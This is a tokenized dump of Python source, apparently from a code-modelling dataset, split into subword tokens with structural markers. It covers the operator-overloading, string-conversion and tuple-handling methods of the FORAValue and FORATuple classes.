"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"mul\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"self_",
",_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"mul_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"rm",
"ul",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"self_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"mul_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"div\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"self_",
",_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"div_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"rdi",
"v",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"self_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"div_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"mod",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"self_",
",_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"mod_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"rmo",
"d\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"self_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"mod_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"pow",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"self_",
",_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"pow_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"rpo",
"w",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"self_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"pow_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"lsh",
"ift",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"self_",
",_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"lsh",
"ift",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"rls",
"hift",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"self_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"lsh",
"ift",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"rshi",
"ft",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"self_",
",_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"rshi",
"ft_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"rr",
"shift",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"self_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"rshi",
"ft_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"cmp",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"Type",
"Awa",
"re",
"Compari",
"son_",
"._",
"typec",
"mp_",
"(_",
"self_",
",_",
"other_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"lambda_",
"self_",
",_",
"other_",
":_",
"cmp_",
"(_",
"self_",
"._",
"impl",
"Val",
"\\u_",
",_",
"other_",
"._",
"impl",
"Val",
"\\u_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"hash\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"impl",
"Val",
"\\u_",
"._",
"\\u\\u",
"hash\\u\\u_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"str\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x_",
"=_",
"self_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ix_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"while_",
"isinstance_",
"(_",
"x_",
",_",
"FOR",
"AV",
"alue_",
")_",
"and_",
"x_",
"._",
"impl",
"Val",
"\\u_",
"._",
"type_",
"!=_",
"String_",
"._",
"impl",
"Val",
"\\u_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"ix_",
"=_",
"ix_",
"+_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"x_",
"=_",
"String_",
"(_",
"x_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"(_",
"ix_",
">_",
"50_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"x_",
"._",
"impl",
"Val",
"\\u_",
"._",
"type_",
",_",
"String_",
",_",
"x_",
"._",
"impl",
"Val",
"\\u_",
"._",
"type_",
"!=_",
"String_",
"._",
"impl",
"Val",
"\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"assert_",
"ix_",
"<_",
"100_",
",_",
"\"",
"can",
"'",
"t",
" ",
"convert",
" ",
"\"_",
"+_",
"repr_",
"(_",
"self_",
")_",
"+_",
"\"",
" ",
"to",
" ",
"a",
" ",
"string",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"isinstance_",
"(_",
"x_",
",_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"string",
"Val_",
"=_",
"x_",
"._",
"impl",
"Val",
"\\u_",
"._",
"get",
"Pyth",
"on",
"String_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"string",
"Val_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"it",
"'",
"s",
" ",
"an",
" ",
"unload",
"ed",
" ",
"string_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x_",
"=_",
"str_",
"(_",
"x_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x_",
"=_",
"string",
"Val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"not_",
"isinstance_",
"(_",
"x_",
",_",
"str_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"str_",
"(_",
"x_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"x_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"repr\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"str_",
"(_",
"self_",
"._",
"impl",
"Val",
"\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"coerce",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"getstate",
"\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"(_",
"self_",
"._",
"impl",
"Val",
"\\u_",
",_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"setstate",
"\\u\\u_",
"(_",
"self_",
",_",
"s_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"impl",
"Val",
"\\u_",
"=_",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"type_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"return",
" ",
"the",
" ",
"Type",
" ",
"object",
" ",
"of",
" ",
"a",
" ",
"FOR",
"AV",
"alu",
"e",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"FOR",
"AV",
"alue_",
"(_",
"self_",
"._",
"impl",
"Val",
"\\u_",
"._",
"type_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"to",
"Pyth",
"on",
"Object_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Fin",
"d",
" ",
"the",
" ",
"best",
" ",
"equivalent",
" ",
"python",
" ",
"object",
" ",
"hel",
"d",
" ",
"within",
" ",
"this",
" ",
"FOR",
"AV",
"alu",
"e",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"In",
" ",
"partic",
"ular",
",",
" ",
"convert",
" ",
"any",
" ",
"FOR",
"AV",
"alu",
"e",
" ",
"whi",
"ch",
" ",
"is",
" ",
"its",
"elf",
" ",
"a",
" ",
"Pyth",
"on",
"Object",
",",
" ",
"a",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"string",
",",
" ",
"a",
" ",
"tuple",
",",
" ",
"a",
" ",
"float",
",",
" ",
"or",
" ",
"an",
" ",
"int",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"impl",
"val_",
"=_",
"self_",
"._",
"impl",
"Val",
"\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"isinstance_",
"(_",
"impl",
"val_",
",_",
"For",
"a",
"Nat",
"ive_",
"._",
"Impl",
"Val",
"Container_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"impl",
"val_",
"._",
"is",
"Tuple_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"names_",
"=_",
"impl",
"val_",
"._",
"get",
"Tup",
"le",
"Names_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"n_",
"in_",
"names_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"n_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"return_",
"FOR",
"AT",
"uple_",
"(_",
"impl",
"val_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"tuple_",
"(_",
"[_",
"FOR",
"AV",
"alue_",
"(_",
"x_",
")_",
"._",
"to",
"Pyth",
"on",
"Object_",
"(_",
")_",
"for_",
"x_",
"in_",
"impl",
"val_",
"._",
"get",
"Tuple_",
"(_",
")_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"impl",
"val_",
"._",
"is",
"Vector_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"FOR",
"AV",
"ector_",
"(_",
"impl",
"val_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"impl",
"val_",
"._",
"is",
"Mut",
"able",
"Vector_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"FOR",
"AM",
"uta",
"ble",
"Vector_",
"(_",
"impl",
"val_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"cmp_",
"(_",
"impl",
"val_",
"._",
"type_",
",_",
"For",
"a",
"Nat",
"ive_",
"._",
"Not",
"hing_",
")_",
"==_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"cmp_",
"(_",
"impl",
"val_",
"._",
"type_",
",_",
"For",
"a",
"Nat",
"ive_",
"._",
"UI",
"nt",
"1_",
")_",
"==_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"impl",
"val_",
"._",
"pyv",
"al_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"cmp_",
"(_",
"impl",
"val_",
"._",
"type_",
",_",
"For",
"a",
"Nat",
"ive_",
"._",
"Int64",
"_",
")_",
"==_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"impl",
"val_",
"._",
"pyv",
"al_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"cmp_",
"(_",
"impl",
"val_",
"._",
"type_",
",_",
"For",
"a",
"Nat",
"ive_",
"._",
"Float",
"64_",
")_",
"==_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"impl",
"val_",
"._",
"pyv",
"al_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"cmp_",
"(_",
"impl",
"val_",
"._",
"type_",
",_",
"For",
"a",
"Nat",
"ive_",
"._",
"String_",
")_",
"==_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"impl",
"val_",
"._",
"pyv",
"al_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"FOR",
"AV",
"alue_",
"(_",
"impl",
"val_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"staticmethod_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"make",
"Symbol_",
"(_",
"symbol",
"String_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"return",
" ",
"a",
" ",
"FOR",
"AV",
"alu",
"e",
" ",
"contain",
"ing",
" ",
"a",
" ",
"symbol",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"FOR",
"AV",
"alue_",
"(_",
"For",
"a",
"Nat",
"ive_",
"._",
"make",
"Symbol_",
"(_",
"symbol",
"String_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"FOR",
"AT",
"uple_",
"(_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"names",
"\\u_",
"=_",
"property_",
"(_",
"lambda_",
"self_",
":_",
"self_",
"._",
"impl",
"Val",
"\\u_",
"._",
"get",
"Tup",
"le",
"Names_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AT",
"uple_",
"(_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"impl",
"val_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"FOR",
"AV",
"alue_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"impl",
"val_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AT",
"uple_",
"(_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"getitem\\u\\u_",
"(_",
"self_",
",_",
"x_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"FOR",
"AV",
"alue_",
"(_",
"self_",
"._",
"impl",
"Val",
"\\u_",
"[_",
"x_",
"]_",
")_",
"._",
"to",
"Pyth",
"on",
"Object_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Index",
"Error_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AT",
"uple_",
"(_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"@_",
"staticmethod_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"is",
"Tuple_",
"(_",
"t_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"t_",
"._",
"impl",
"Val",
"\\u_",
"._",
"is",
"Tuple_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AT",
"uple_",
"(_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"staticmethod_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"get",
"Names_",
"(_",
"t_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"t_",
"._",
"names",
"\\u_",
